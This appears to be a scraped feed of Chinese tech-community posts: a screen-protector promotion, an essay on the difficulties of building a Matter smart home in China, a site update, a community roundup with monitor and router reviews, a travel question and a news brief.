所以我们没有单纯追求数字上的「薄」，而是将玻璃基材打磨至 0.13mm，既能让手指划过屏幕边缘几乎感觉不到贴膜存在，又能精准贴合屏幕曲面，从根源上解决模糊、割手、翘边等常见痛点；搭配电镀疏油层，手感丝滑不粘手，防指纹、防油污，日常操作和手游都不会出现断触、延迟。

为了还原裸屏观感，我们使用专业仪器实测，结果表明麦金獭无感膜透光率达到 96% 以上，数据真实可复现；同时与专业调色团队合作，贴膜后与裸屏的色准差异极小，不干扰手机原彩显示与 HDR 内容观感，杜绝发雾、偏色问题。

AR 抗反射款通过特殊镀膜工艺，降低强光反光，户外看导航、刷内容无需拉满亮度，前置镜头区域无遮挡，自拍、视频通话不会出现眩光、雾化。

最后，我们为麦金獭无感膜提供了全套配套保障，兼顾便捷与安心。包装内附赠的贴膜工具经过优化设计，定位更精准、操作更便捷，进一步降低小白贴膜难度；售后保障除免费申领单膜外，后续若有使用问题，也可联系客服获得专业解答。

最后想说

做这款钢化膜，我们没有追求「六边形战士」，只是想解决大家贴膜的痛点——不厚重、不刮手、清晰、好贴。

从开售第一天的热情支持到大家的真实晒单，我们知道这份用心被大家感受到了。

如果你也在找一款「贴完就忘」的钢化膜，如果你不想再为厚重、反光、难贴的钢化膜烦恼，不妨趁首发优惠，入手体验一下。

愿这张薄薄的钢化膜，既能保护好你的手机屏幕，也能不打扰你的每一次使用。

购买链接：

想在国内折腾全屋 Matter？这可能是一场属于极客的「苦修」

作者: 纯情
时间: 2026-04-15
分类:
评论

Matrix 首页推荐

文章代表作者个人观点，少数派仅对标题和排版略作修改。

我关注并评测 Matter 产品已有数年，尽管大部分内容是面向海外读者的，但在日常使用中，我最深切的苦恼却是：在国内市场很难找到符合国标需求且好用的原生 Matter 设备。

最近由于搬家计划，我开始盘点新居所需的智能设备，并筛选哪些环节目前还无法用原生支持 Matter 的版本（而非网关桥接方案）来替代。作为「在国内折腾 Matter」系列文章的开篇，我想聊聊目前在国内搭 Matter 全屋智能的痛点与出路。

第一道坎：基础品类的「至暗时刻」

智能家居的大头还是在基础的开关和照明上，当然我还喜欢做能耗管理，所以智能墙插也算在内吧，毕竟都是通断器。然而现实就是，你能想到的一些全球市场上活跃的做 Matter 品类大红大紫的中国大品牌，并不在国内市场推出本土标准的开关和墙插面板。

在这种局面下，折腾的路径被收窄到令人窒息。你只能在 130 线白牌 ODM 产品中抽盲盒，或者选择更为硬核的路径：全屋改用欧规 / 英规底盒。虽然这些底盒微调后能塞进国内的坑位，但这绝非普适方案，还得准备对应规格的转换器和排插。或许有人会提议使用通断器模块改造普通开关，但基于 Matter 现阶段的稳定性，我很难有信心将这些设备「半永久」地封装进接线盒里。一旦掉线，你将面临必须带电拆卸面板进行重置的灾难级维护成本，甚至需要关掉整路电闸，这种反人性的体验显然也背离了智能化的初衷。

我曾有一个 Thread 通断器彻底罢工在墙内，面对僵硬的预留线，拆解难度之大让我最终选择了放弃。想起 Sheng Wang 在脱口秀中说，开市客教会我们适时放弃，如果八分钟内找不到地方停车，那扭头就走。同样地，面对一个频繁失联、维护成本极高的 Matter 设备，我有时也只能无奈放手。

另一个更棘手的挑战在于单火线方案的缺位。在与多位产品开发者交流后，我发现厂商要么受限于欧美市场的研发惯性，不愿为国内特定的单火环境增加 SKU，要么受限于 Thread 协议在单火低功耗控制下的技术门槛。重新拉零线虽然一劳永逸，但对于大多数后装房用户而言，最现实的妥协方案或许是放弃改动开关，转而将所有传统灯替换为智能灯具，毕竟有了语音控制和自动化，我一年也不会按几次那个实体开关。

此外，Matter 门锁在国标市场也几乎不见身影。目前市面流通的多为欧规或美规版本。所幸近期已有部分厂商释放出相关技术方案的消息，但愿在下个月搬家前，真的能有一款量产的国标 Matter 门锁，最好再带上 Aliro 方便我用 Apple 钱包开锁。

第二道坎：触发与感知，Matter 配件的本土选择

相较于基建类面板，传感器、无线按钮等触发类设备在本土市场展现出了更强的生命力。如果你略懂企业采购渠道，海曼（Heiman）等品牌推出的 Matter-over-Thread 传感器是个不错的选择，小巧精致、响应极快。与此同时，Aqara 也在加速补齐其在本土市场的 Matter 产品矩阵，从传感器到灯具，甚至出现了国内首发速度反超海外的局面，告别了以往令人焦灼的「入华等待期」。

不过，一些进阶功能往往被限制在 Zigbee 原生模式下。在 Matter 协议中，目前大多只能实现基础功能。例如 Aqara P100 多维传感器，在 Matter 模式下可能仅被识别为一个简单的门磁。

值得期待的是宜家。作为家居巨头，宜家从去年底开始全球更新其 Matter 产品线，这批新品原生支持 Matter-over-Thread，且保持了量大管饱的定价策略。预计今年内，国内用户就能以极其亲民的价格在宜家门店买到这些标准化的智能配件，其竞争力将直指米家和涂鸦的白牌方案。

白电残局：大厂的「鸽子」在飞

在去年的柏林 IFA 展会上，我高强逛展度追踪 Matter 新品。在展会接近尾声时，老板看到领英上连接标准联盟的人发了一张 Matter 冰箱的照片，说这是他苦苦追寻的「白鲸」一定要去看看。于行业来说 Matter 白电难得一见，于消费者更甚。

相比欧美市场偶尔能见到的 Matter 空调或温控器，国内白电市场几乎是一片荒漠。洗衣机、洗碗机等大型家电在 Matter 协议上的进度极其缓慢。虽然我曾在连接标准联盟的展示厅内目睹过美的（Midea）旗下的 Matter 风扇、美式空调、与洗碗机原型，但这些设备目前多为针对外销市场或研发阶段的测试品，在国内零售渠道仍处于「查无此人」的状态。厂商虽然声称已做好升级准备，但实质性的产品迭代至今仍未破局。

生态困局：夹缝中选择

国内市场缺乏一个绝对中立且统治级的生态平台，导致用户的选择极其局限。在国内头部平台对 Matter 支持乏力的情况下，核心玩家只能在 Apple Home 与三星 SmartThings 之间艰难徘徊。前者更新步调迟缓，甚至对 Matter 1.3 协议中核心的能耗管理功能视而不见；后者虽然响应迅速，但在本土化适配上却显得不如人意——最新的固件更新往往先倾斜于几款海外型号，国内网关不仅缺乏明确的更新计划，甚至在功能上线时间上也要落后一两个季度。

这种「时差」带来的体验落差是巨大的。例如前阵子推出的 Matter 摄像头功能需要 59.x 版本固件支持，而国内三星网关一等就是四个月。这意味着即便你购买了最新的硬件，也因为身处内地而无法在第一时间解锁核心功能，本土用户在某种意义上沦为了生态中的「二等公民」。

在此背景下，Aqara 与 Home Assistant 展现出了更强的潜力。Aqara 的「随处即网关」策略落地和三星比不相上下，后续推出的网关类产品几乎全线内置 Matter 控制器与 Thread 边界路由，其功能丰富度甚至看齐三星。但 Aqara 偶现的地区锁实在令人恼火。如果 Aqara 能进一步开放本土市场的功能权限，我会更愿意用Aqara而不是三星作为第二平台做设备自动化。

而对于硬核极客而言，Home Assistant（HA）依旧是目前响应 Matter 协议速度最快、自由度最高的孤岛。在其背后 Open Home Foundation 的推动下，HA 对各类开放协议的标准化支持远超商业闭环生态。唯一的痛点在于，在内地环境部署 HA 涉及到较高的网络维护成本与技术门槛，这并非普罗大众能够轻松驾驭的方案。

好消息是，HA 的创始人 Paulus 三月来国内拜访本地社区和合作伙伴。在与我的独家采访中他透露正在调研中国市场的本土化适配可能，并希望联合更多本土厂商推动开放协议硬件的普及。这为国内的 Matter 玩家提供了一抹难得的曙光。

价格与售后：标准化背后的代价

关于价格，我觉得需要破除一个误区：开放协议不等于廉价。Matter 的研发与认证成本较高，在厂商习惯使用私有协议，或者不做认证降本增效的当下，Matter 并非价格战的利器。但相比过往高昂的 Work With 成本，Matter 已经算是性价比方案了，标准化带来的长效价值正在逐步显现。随着今年晚些时候 IKEA 的 Matter 产品进入中国市场，我们有望能看到 Matter 均价能压到接近米家差不多的水平。

售后与稳定性则是另一项长期博弈。Matter 仍处于生长期，极度考验厂商的优化能力与家庭网络的稳定性。一两百元的入门路由器很难承载数十个 Matter-over-Wi-Fi 设备的并发请求，而 Thread 协议以及多 fabric （生态）并存的情况也让排障过程变得极为困难。品牌售后若无深厚的技术积淀，很难应对这种复杂的分布式系统所带来的问题。

现阶段在国内玩转 Matter 充满了磨难，但其背后的愿景——科技巨头的罕见共识、代码开源、纯本地运行、不依赖云端、多平台无缝流转——这些特性构成的底座，赋予了智能家居真正不受制于人的生命力。纵使目前需要依靠网关与桥接来填坑，纵使路阻且长，但对于我来说，这份能掌握家庭数字主权的确定性，足以抵消当下所有的折腾与痛点。

（图源：南桥北桥不是桥，未经允许禁止转载使用）

新版本页面布局调整为常驻 3 栏布局

作者: 纯情
时间: 2026-04-15
分类:
评论

页面布局调整为常驻 3 栏布局

原来的左右结构，在大部分页面标题不长，内容不多的情况下，会浪费掉不少空间，且很多功能导航会有所局限。之前尝试的可隐藏侧边栏的目的就是为了解决这个，但发现展开和收起，或固定的情况下，体验还是有所割裂（不少用户反馈找不到动态等新功能入口）。因此，新版本对页面布局做了较大改动，由之前的可隐藏的侧边栏修改为常驻的左侧侧边栏，主体内容的宽度也由此缩窄一部分。常驻侧边栏的好处是体验会更好，导航到新功能的速度会明显加快，更符合浏览直觉。

需要说明的是，子节点的列表以及帮助文档的列表，均会动态的在侧边栏中展示。由于布局的大改动，首次体验大概率会不习惯，需要时间适应，不考虑增加选项的目的是让页面后续更好的维护。

不同的设备屏幕显示效果可能在本次更新没做好，可以进行反馈继续改进。另外一些元素可能因为宽度存在挤压，我会继续优化。

其他改进

除了这个大的变动外，这个版本也做了一些的体验改进，以下是其他的内容更新说明。

新增了博客文章的浏览数。
列表的打赏、布局、弹窗等地方均做了样式优化。
现在帖子的正文更多菜单，移动到了回复按钮右侧。菜单新增了一个平铺和树的评论视图快捷的切换菜单。
修复了新添加进合集后，合集内排序不正确的问题。
优化徽章列表弹窗的关闭按钮为常驻。
金币池的追加周期改为 2 周内，且次数增加到 5 次。

社区速递 137 | 派友挑战不沉迷手机的周末、未来视野显示器与 MT6000 路由器

作者: 纯情
时间: 2026-04-15
分类:
评论

除了首页时间流和侧栏的精选展位，少数派 Matrix 社区还有很多优秀内容因条件所限无法得到有效曝光，因此我们决定重启 Matrix 周报，并在此基础上添加更多社区内容、作者投稿新玩意呈现给大家。

上周社区速递：派友大秀 Vibe Coding 作品、ROCK 数据线收纳盒与空气凤梨

💬一派热议

在上期第 269 期一派讨论《周末挑战赛：如何度过一个不沉迷手机的周末？》中，共有 170 名派友热情参与，十分感谢！

aaa 果女士(+33) 现在的周末我可太有发言权了，让我把之前发的重新贴下：

本人原极度宅女。坐标江浙沪，一年前因工作调动从上海搬到苏州周边，从快节奏的城市生活到小镇的惬意山水。我用一年的时间去适应。之前往往是单休或周末两天都要加班，今年年初回来终于迎来了双休，于是开始了我的江浙沪周边游。一个月我大概会安排一次短途旅游，比如 3 月我刚去了无锡赏樱花，通常是周五下班直奔高铁站，到了目的地酒店休整下然后吃个本地特色菜，再走走逛逛在路边清吧喝杯小酒入睡。第二天必须睡到自然醒（通常是退房前半小时），然后根据规划逛逛景点吃吃喝喝，直到筋疲力尽再顺风车回家。这样周六游玩，周日在家修整备餐，避免周末两天玩太累导致周一无精打采。

同时最近又恢复了运动，也是按照周六瑜伽课 / 骑行，周日休息这样的模式。因此每个月的四个周末我的安排是：一周短途出游，一周出门运动，一周周六加班，还有一周月经期休息，在家做点好吃的，美滋滋地看部电影 (*^▽^*)。

P.S. 这个月我已经去了无锡赏花，西山岛看湖，南浔湖州，附上几张旅游打卡的小图＆一个人周末小酌的记录：

滿臉鬍鬚(+20) 周末干完这个，还有 10 公里要跑，完全没有时间拿手机。

山风_全栈开发(+20) 正在沉迷 Vibe Coding 无法自拔～根本不需要玩手机！刚给开发的 CleanDiskGo 加了相似图片识别功能，性能真的太赞了！

已经无限接近 Mac 端清理软件 CleanMyMac 的功能了。CleanDiskGo 距离 CleanMyMac 还有不到一个月的距离💪🏻💪🏻💪🏻

清竹韩维(+16) 我 80 后夫妻（无孩）的周末：

吃。日子嘛，优先就是衣食住行，其实在周末真正体现的稍微复杂点的，无非就是食，这个可以优待一下自己，吃好，吃健康，我觉得这也是人生一大乐趣。比如这周末，我两口子在家里就是做了一顿春笋焖饭，就是去买菜，剥笋，剥豆子，泡羊肚菌，切腊肠，洗芹菜，洗百合，泡大米，呼呼一顿操作，美滋滋的焖饭吃得爽歪歪。当然还要洗碗，刷盘子，打扫卫生，整理房间物件，这些事情做下来，要花费不少时间的。晚餐我们俩包了饺子吃，饺子皮是老婆现做的，饺子馅是之前就买好的肉末和大蒜苗、荠菜，切碎了就包，包好了就煮，煮好了就吃。吃好又要刷盘子啦～花很多时间的好吧。

看。除了做吃的，其实剩下的时间并不多，主要是去买菜前的时间，正在吃的时间，午睡后的时间，晚上睡觉前的时间。这些时间我们俩就在家里看电视啊，我们很喜欢刷剧，现在正在好好的时光，我的山与海，还有 Netflix 的，迪士尼的，HBO 的，甚至有些来自 Hulu、Prime…… 比如柏杰顿家族……，喜欢刷综艺，最喜欢的种地吧今年新的一季还没开始，所有恋综都追完啦，期待新一季的怦然心动 20 岁，还有五十公里桃花坞…… 对了棒子那边还有个《天机试炼场》贼好看。

听。我是个老书虫，2 年级看萍踪侠影，初中看琼瑶，高中看金庸古龙黄易，大学红楼梦，出来工作就一直网文至今，每日必读，现在已经养成干活听小说的习惯，不再用眼睛盯文字了，蹲坑，洗澡，洗菜做饭，打扫，整理家务，甚至骑着电动车的时候，都在听（我的阅星瞳在办公桌上吃灰）。现在听《我在天牢长生不老》，这小说借天牢说官场黑暗，精彩又俏皮。

睡。大周末，不睡对不起自己。基本都是 9 点起床做早餐。午睡 1 点到 4 点半。晚上也是 12 点前躺下。

这些，听小说用得到手机，但是不看。其他都用不上手机啊。算算这一天花销两口子不到 50 元。

yuki 与猫眠(+16) 喊朋友来家里，点两杯奶茶，支两张桌子，再放个播客，一拼就是一下午。

不隔山(+16)

❌ 把手机调成灰度显示。

✅ Steam 春促！

Lawmaker(+13) 周五下班前就把晚上要做的家务列好清单，洗衣服、扫拖地、取快递、清洁家电、收纳整理等等，忙活完大概八九点，就和媳妇儿出门去附近的大商圈，吃一顿大餐，美美地迎接周末到来。

如果是宅家的话，我一般不睡懒觉，周末也是七八点醒来，做一杯咖啡就开始看自己心情玩。拼乐高、玩电鼓、玩主机游戏、刷美剧等选项。媳妇儿喜欢做饭，一般睡到自然醒起来研究她的美食，中午吃了饭把碗丢进洗碗机，下午重复上午的娱乐活动。晚上可能会去河边散散步，或者逛逛山姆。

刚毕业那两年，周末基本上排得满满当当，各种探店、徒步、郊游，抢红眼航班特价机票等等，那个时候没买车，骑小电驴带媳妇儿去溜达也很开心。但周一就感觉比较疲惫，现在老实了，能不出门都不出门了。每个月会选一个目的地短途旅行。

demon21(+11) 去跑山吧。

Davidlzc(+10) 我现在是把手机上带有娱乐性质的 App 基本都删了，包括 B 站、知乎等（抖音之前就不玩），手机的桌面也只弄一页，留着两个小组件和 12 个常用的工具 App，其他的 App 全都扫进资源库，能很好地控制自己平时因为无聊刷手机的时间，这样使用下来，每天使用时长最多的只有微信。

姜为(+9) 这还不好说？蹬上自行车绕海边遛遛，拿新镜头拍拍海鸥，回家做顿好吃的犒劳下自己和朋友，冲上一壶咖啡分享。

最后的最后，do things in the old-fashioned way（唱片是真贵啊）。

希望每周末都是如此放松😌

少数派 48011214(+8) 找点其它兴趣或者爱好就能很好地分散玩手机的时间，早上起来做点需要集中注意力的事情，出去吃自己想吃的美食、玩玩游戏、游个泳、练练钢琴、看看书，充实之后自然就无需手机了。

热爱生活、享受生活、拥抱自己，例如《福格斯行为模型》里面类似的观点，哪怕定了每天看书一小时，今天只要翻开了书籍就算成功，无需焦虑和内耗。个人见解：我觉得只要感受到以上快乐之后，作为人类肯定不想再回到之前的状态了，偶尔有不愉快的事情也能被很快消灭掉，因为你能意识到并潜意识地去干掉它，大不了直接睡觉或者找点能发泄的运动或者游戏，以及你还有很多的东西等着你去探索和了解，何必把时间浪费在不愉快或者内耗上呢。

满川微雨(+7) 骑摩托车跑跑山⛰️天气也是暖和起来了。

鹹魚 7288(+6) 出门运动打网球，睇睇电影《挽救计划》，同想一起食饭的人一起食饭，然后就可以放低手机了。

如风如光(+6) 昨晚我把手机换成了大我的墨水屏手机：微信记录导入，通讯录分享，然后插拔 SIM 卡，搞定！沉迷主要是 B 站和小红书，那我不装这俩 App 不就完了？不止，手机尽量极简——以墨水屏的性能，太多 App 它也带不动。

比方说现在：大清早起床我躺被窝，摸到手机，也只能用浏览器看看少数派和 IT 之家，躺不了五分钟就腻了。其实还有一点，用其他事情把周末时间填满。人要是忙起来，手机可不就闲置了么？

rainyshin(+1) 看周末的天气，一般提前 2 天左右会看。

如果天气还不错，起床吃完早饭以后，用扫地机器人扫地，自己再动手拖地、擦拭，当做简单的热身。同时还会把被子枕头拿到阳台晒一晒太阳。大概在吃完饭 2 小时左右（也是看温度的），到离家不远的本地的一个小山爬山，2000 级台阶，走上 + 走下回家累计一个半小时左右，就当做每周例行的有氧锻炼了。

下午和晚上一般会和老婆小孩一起，选择看一部电影 or 找一个公园散散步，再拼装积木或是画画认字。偶尔还会和朋友去露营，提供装备的那种。

如果下雨，那就是在室内的活动了，看电影 or Switch 玩一会，在家里做有氧操等等。

胡正正正正正(+1) 人闲着就容易作死...

上个月把皇室战争账户删掉（也过了冷静期）。之前一有空就打开它，一玩就停不下来。试过马桶上坐了一个多小时。而且经常被配对和自己手残气得身体不适、心态崩。

Vincent_Asobi(+1) 電視不香嗎？大螢幕不爽嗎？DV 不好看嗎？PS5 不好玩嗎？

鎖機秘笈：使用前想想自己的核心需求。

補：手機平板 2-3 天一充。

📢：下一期的一派讨论是数码圈日经话题《少数派 2025 年度征文决胜投票》，欢迎来聊。

🔥一周热评

来自文章《MacBook Neo 体验：十年之后，它没有成为下一台 MacBook》：

hAPPydOg(+3) 看过网上很多买了后嫌弃 Neo 这不行那不行，个人感觉应该是拿 Neo 和其他系列 MacBook 在对比才有此落差，但如果把 Neo 当 13 寸 iPad 的电脑版平替就能减少这种「失落」甚至还有些惊喜。毕竟 13 寸 iPad + 妙控键盘 + 妙控板的价格已经超过了 Neo，而 Neo 比 iPad 却多了很多。

来自文章《派早报：微软宣布改进和简化 Windows 预览体验计划》：

↳ 💬 关于「微软宣布改进和简化 Windows 预览体验计划」的热议：

噼哩啪啦砰(+0) 高情商：预览版低情商：下班以后过来兼职做测试版

休伯利安(+0) 重新做个系统可能更快

↳ 💬 关于「押注天气成为热门交易形式」的热议：

中间派2333(+0) 这个世界真的是什么东西都能用来押注

CharlieLau(+0) 期货市场长期有靠气象预测赚钱的，农产品期货交易对气象预测的要求很高，但是直接搞博彩还是很难绷

来自文章《Agent Experience 导论》：

朝拜Suns(+3) 写得真好！虽然我在阅读的过程中切出去回复消息、喝水等好几次，发现自己越来越难静下心来阅读一篇文章，但这一篇真的值得读，也真的值得在我们日常使用 AI 中来思考。
P.S. 看到「期待杀毒软件能在管理龙虾上发发力喔」直接笑喷:)

来自文章《疑难杂症不求人：如何在 Windows 11 中搞定「重装」这件事》：

墨子规啼(+8) Win10 后确实 Ghost 都用不着了，微软为了让人更加方便地用上他的新系统真的操碎了心，并且官方的方式安装的系统是最安全的，第三方各种 ISO 或者所谓的优化 Ghost 留后门养肉鸡都是基本发展很多年的完整产业链了

螺旋升天(+5) 单位电脑升级了 Windows 11，刚开始几分钟有点卡顿，现在用得很舒服，没有任何问题！

Steve_Li(+4) 用了 Ventoy 就不需要每次都制作启动盘了，把 ISO 往 U 盘里拷了之后直接启动

来自文章《雷鸟 Air3 AR 眼镜：一年使用体验复盘》：

chennyboy(+4) 我去年买了 Air 4 Pro + 魔盒 2 代，用了没几天就给退了
这个产品还不是很成熟，眼镜正常姿势佩戴的话，屏幕边缘如果是文字或者有字幕的话会模糊。要看清楚就要把眼镜往下压一压，就跟老人戴眼镜看东西那种戴法，这个时候下方的文字看清楚了，但是上面的文字模糊了，所以要看清楚上面的话又要往上调眼镜。所以这个眼镜除了看多媒体画面还行，其他文字处理的时候很不方便。
然后连 Switch 要再另外花费大几百买一个配件，个头还不小。看影视的话要带一个魔盒，也是大几百，变成出门要带一大推配件。
魔盒就这个给眼镜供电和视频信号输出的电视机盒子。但是操控方式是类似体感的，而且系统没办法调灵敏度。操控起来久了手腕很累。魔盒表面像是一个 touch pad，但是它只能做回到主页面，后退和确定点击，而且非常容易被误触。甚至不是皮肤的物品表面碰触都会有回馈。没有地方可以调灵敏，非常难操作。为什么不做个和 touch pad 的表面一样的。那要不比体感操作方式容易，动动手指比动整个手腕轻松。
魔盒还有一个很不合理的地方，一些 App 里面指针都隐藏了，指针移到到哪里完全靠蒙的，我要拉动进度条，选择视频分辨率，选择字幕，太难了。简直就是反人类设计。

来自文章《回望日系手机的「加拉帕戈斯」时代》：

Enc3lMag1k(+6) 沙发，这可能是你在中文互联网能找到的最详细的有关前智能机时代日本手机市场变迁、技术演进、以及运营商生态的文章。非常值得一读。
也感谢作者，同时也是我的好友对我的信任，让我得以为文章的润色出绵薄之力。
GG well played!

来自文章《上架就被抢断货的 CtoC 转接头，Type-C 接口真的统一了吗？》：

苍颜半夏(+21) 总结：端口统一，但是协议泛滥
总的来说比以前各种稀奇古怪的接口要好，反正用户不太关心协议，只关心插头能不能怼进去充电

面具熊(+18) 自从自己设计电路板，考虑取电问题的时候，就发现 PD 协议取 5V 电需要 5.1kΩ 电阻的问题了。之后每次用到省去电阻的 C 口电器时，都会对这个产品狠狠扣分。明明没多少成本，却极大地影响用户体验！

planarians(+3) 至少接口统一了，其他的以后再去慢慢统一。

来自文章《🎁 福利派 | 少数派首款超薄钢化膜今日开售》：

黑猫警长不会叫(+4) 今年买了 17 以后一直没买膜，这次终于舍得下手买一张了，结果在快递架上找了半天才发现这盒子尺寸是我想象中的两倍大（因为那个贴膜神器）。跟着图文教程贴好以后几乎和没贴一样，套上我的壳也不会卡住。

来自文章《【主观口胡】互联网，电子游戏与屏幕之后的个人健康》：

枪战每一天(+2) 关于喜欢随口胡诌发表暴论真的是我在知乎上太过于常见了，也许是我喜欢把各个应用的个性化推荐都关掉的缘故吧，所以什么三教九流的信息我都能刷到，以前还喜欢收集证据激情对线，现在实在是有些乏了。

孔雀开屏(+2) 非常少见的题材，很少能有讨论当今互联网技术影响下的道德问题。
一般自媒体提起也只是浅谈而过，普通网民在平常任何圈子之类的但凡有一点异见就要被发起圣战的环境，导致没人敢指出问题，然后问题无限放大。

📒社区摘要

智通：受够了臃肿的编辑器，我用 Rust 写了一个 15MB 的替代品：SoloMD
PonderWonder：东京行记
德坤：《古书之美》| 关于采访的采访（357）
Kami：在 Mac 上跨平台看直播太麻烦了，我做了个原生应用来解决
zheng_easyfan：任务终了，唤吾离梦
午夜煎饼：多猫家庭生存指南：如何让新老猫和平共处
满弓：打火石时刻：一个设计学生的 AI 觉悟
Blueeon：如何评价Karpathy提出的个人知识库的架构？
Kostya：Shrinking Season 3 完结 —— About Time to Move Forward
枝惟：为了不被久坐废掉，我写了个小工具
LJL水獭：三星首款磁吸无线充电宝开箱：很失望！
巴普洛夫的狗：那些年，和陈晓卿相识于微时的饭馆

🆕作者的新玩意

为了让作者的投稿尽快与广大读者见面，我们调整了《新玩意》栏目中作者投稿部分的呈现方式和周期，作者投稿的「新玩意」后续会迁移至本栏目。投稿渠道与奖励方式仍与以往完全一致，详情参见文末。我们相信新鲜火热出炉的分享更能赢得大家的喜爱，也欢迎广大读者朋友们踊跃投稿。

@车不能快：未来视野RV100mini 升级版

入手渠道：电商平台
入手价格：1114

最近因工作调动来到广东，想先添置一台显示器过渡使用。宿舍桌面空间有限，加上是为 Mac mini 搭配，高分辨率显然比高刷新率更实用。权衡之后，最终入手了这台未来视野 RV100mini 升级版，参数是 24 寸 4K 60Hz，比较满足我的需求。

未来视野是盛色旗下的品牌，也就是 SANC。盛色虽然算不上一线大牌，但做了十几年代工，品控总比那些三无小作坊稳，性价比也合适。

但这造型嘛，说实话，未来视野和市面上这些「致敬」Apple Studio Display 的显示器一样，基本都是五十步笑百步的果味设计。

到手后，相较于傻大黑粗的老式显示器，RV100mini 虽然也是塑料机身，但加了电镀工艺，视觉上总归靓丽不少，摆在宿舍不至于太难看。

屏幕整体给我的感觉是红色有些溢出，所以如果是正儿八经做设计，就不要考虑这款产品了（但说实话，做设计的话，预算得再加个 0 吧）。此外，RV100mini 还有一个致命缺陷，它没有办法安装在显示器气压臂上，它所有的接口都被设计在背部的转轴和显示器的连接处，貌似也只有这一款是如此设计的，其余款式应当是可以正常安装支架的。

接口的参数规格还算可以，DP1.4 和同规格的 Type-C、HDMI 2.0，算不上豪华，但也够用。氮化镓电源，体积不大，提供足够的功率让显示器背部 C 口 65W 反向充电。

OSD 是仿造 macOS 风格，但很微妙的是，它没有二级菜单，所有的功能都被放在一个方框里，我个人觉得不是很好用，太多功能被杂乱地放置，倒不如只留一个亮度调节，还比较实用。

最后做个总结，显示器现在虽然很卷，但总归还是一分钱一分货，分辨率和帧率虽是硬指标，但真正的好屏幕，往往是面板和调教占了重头戏。RV100mini，机身质感很塑料，远观还行，近看就比较廉价了，屏幕素质在这个价位段，我觉得还蛮不错的。不过 24 寸 4K 的屏幕，确实是比较小众，市场上的选择也不多，有厂商愿意在这个小众赛道发发力，还是蛮欣慰的，想想近十年前我花两三千只能买到三星一款 21 寸 1080P 60Hz 的屏幕，时代确实变了。但真正顶级的屏幕，仍旧不便宜。

@johnbens：GL iNet MT6000 路由器

最近家里网络开始偶尔「抽风」，日常使用还好，但在处理和交易相关工作时，总是会出现莫名其妙卡顿和断连，非常影响操作，好几次搞得手忙脚乱各种重启，虽然软件方面的设置问题也都排查了，但保险起见，还是计划换个路由器。

家里现在用的是几年前的小米路由器，够用，但要进一步刷系统设置什么的，还是超出了我的技能范围。所以这次目标很明确：更稳定 + 性能更强，最好还能原生支持 OpenWrt，少折腾。

我的备选项就是两款：Beecon Mini AC5 和 GL iNet MT6000。但最近因为 AI 热潮，硬盘闪存大幅涨价，路由器也不能幸免，价格不降反升。AC5 直接劝退，预算不允许，最后选择了 MT6000。

MT6000 其实不算新，23 年发布，当时只要 600 多。现在日常价格已经涨到 800+，我蹲了下活动、叠券、用淘金币，最后 773 才拿下。

路由器拿到手外观中规中矩，拿在手里明显偏重，用料给人第一感觉是「挺扎实」。具体配置如下，对于家庭使用来说应该是绰绰有余了。

CPU：MediaTek Quad-core, @2.0 GHz
存储：DDR4 1GB /eMMC 8GB
协议：IEEE 802.11a/b/g/n/ac/ax
Wi-Fi 速率：1148Mbps (2.4GHz), 4804Mbps (5GHz)
以太网口 2 x 2.5G Ports + 4 x 1G Ports
天线：4 x 2.4GHz + 5GHz 二合一 Wi-Fi 天线

路由器两个 2.5G 接口，我一个连接光猫，另一个连交换机再挂了 NAS、Apple TV 和电脑等设备。

1GB 内存应该说非常富裕了，路由器运行插件的同时，这么多设备同时工作表现也非常稳定。同时，路由器还配备了 8GB 的存储空间，对于会在路由器上跑 Docker 的玩家来说，也能满足他们的需求，但这对我来说就有点奢侈了，基本用不到。

我选择 MT6000 的最大理由就是了解到通过系统自带高级设置，可以一键安装 LuCI 界面来进行路由器配置、插件安装管理。对于我这种小白用户来说，门槛已经非常非常低了。也不需要写代码，基本鼠标点一点就能够解决。

而且 LuCI 界面和官方操作界面不冲突，可以共存，这对我来说也是个加分项。

官方固件更新还算积极，现有的系统也可以自由选择不同 OpenWrt 内核版本固件，官方推荐稳定版是 21.02，同时也提供更新的 24.10 可选。但我实际测试下来，性能还是 21.02 内核版本更好，延迟更低。

更换了 MT6000 以后，家里网络稳定性的确有所提升。除了本身每天都要使用的交易软件之外，还顺带解决了 NAS 上很多服务时断时续的各种小 bug。

我知道有很多更便宜的解决方案，比如在闲鱼可以找私人卖家，买刷好固件的路由器。但我对于这些设备还是不能够完全放心，不管是安全性、还是稳定性的风险我都不想冒。毕竟我也不是硬核玩家，并不想花很多时间在这个上面反复去测试、调试各种固件和插件。所以 MT6000 对我来说，应该是可以在市售买到有品牌路由器中，最符合我需求的产品了。

如果你也想分享「新玩意」🔉：

获取 Matrix 社区写作权限并签署 Matrix 共创计划；
在少数派独家发布一篇文章，在标题中标注「新玩意」前缀；
用至少 800 字介绍产品，并配上 2-3 张产品的实拍图片；
在网站个人信息中补充支付宝账号。

成功入选本栏目还可以得到 108 元的「剁手红包」🧧。如果你有兴趣参与，就赶紧来稿吧！

> 下载少数派客户端、关注少数派公众号，了解更多的新玩意 🆒

> 特惠、好用的硬件产品，尽在少数派 sspai 官方店铺🛒

五一厦门旅游推荐，三天时间主要是放松心情

作者: 纯情
时间: 2026-04-15
分类:
评论

三个人左右出行，坐高铁从深圳出发，看看风景透透气。求避坑点和推荐景点。

派早报：拓竹 X2D 正式发布、微软再次上调 Surface 全线产品定价等

作者: 纯情
时间: 2026-04-15
分类:
评论

拓竹 X2D 正式发布

4 月 14 日，拓竹 X2D 正式发布。拓竹 X2D 搭载更为轻巧、高效的双喷嘴机械结构，配备双进气口冷却、主动腔温控制以及拓竹自研永磁同步伺服电机系统，显著提升高流量挤出的稳定性，复杂结构下悬垂更稳、桥接更平整，同时能够保证大型工程模型的强度与平整度，使用 X2D 打印拓竹基础 PLA 与基础 PETG 也已获得 UL 2904 室内空气质量认证，支持 AI 自动完成打印前检查与打印过程监控。

拓竹 X2D 起售价格为 4499 元，叠加补贴和首发优惠后低至 3399.15 元。来源

微软再次上调 Surface 全线产品定价

4 月 15 日，微软宣布上调 Surface 笔记本及平板系列产品售价，本次调价受生成式 AI 对内存及相关组件需求激增导致的成本上涨影响，其中 15 英寸 Surface Laptop 7 起售价由去年调整后的 1500 美元上涨至 1600 美元（2024 年发布时定价 1300 美元），搭载 Snapdragon X Elite 处理器、64GB 内存及 1TB SSD 的顶配版本售价上调至 3650 美元；Surface Pro 系列亦同步调价：12 英寸版本起售价从 800 美元涨至 1050 美元，13 英寸版本起售价则由发布时的 1000 美元上调至 1500 美元。来源

索尼发布发布 Inzone M10S II 游戏显示器及系列音频外设

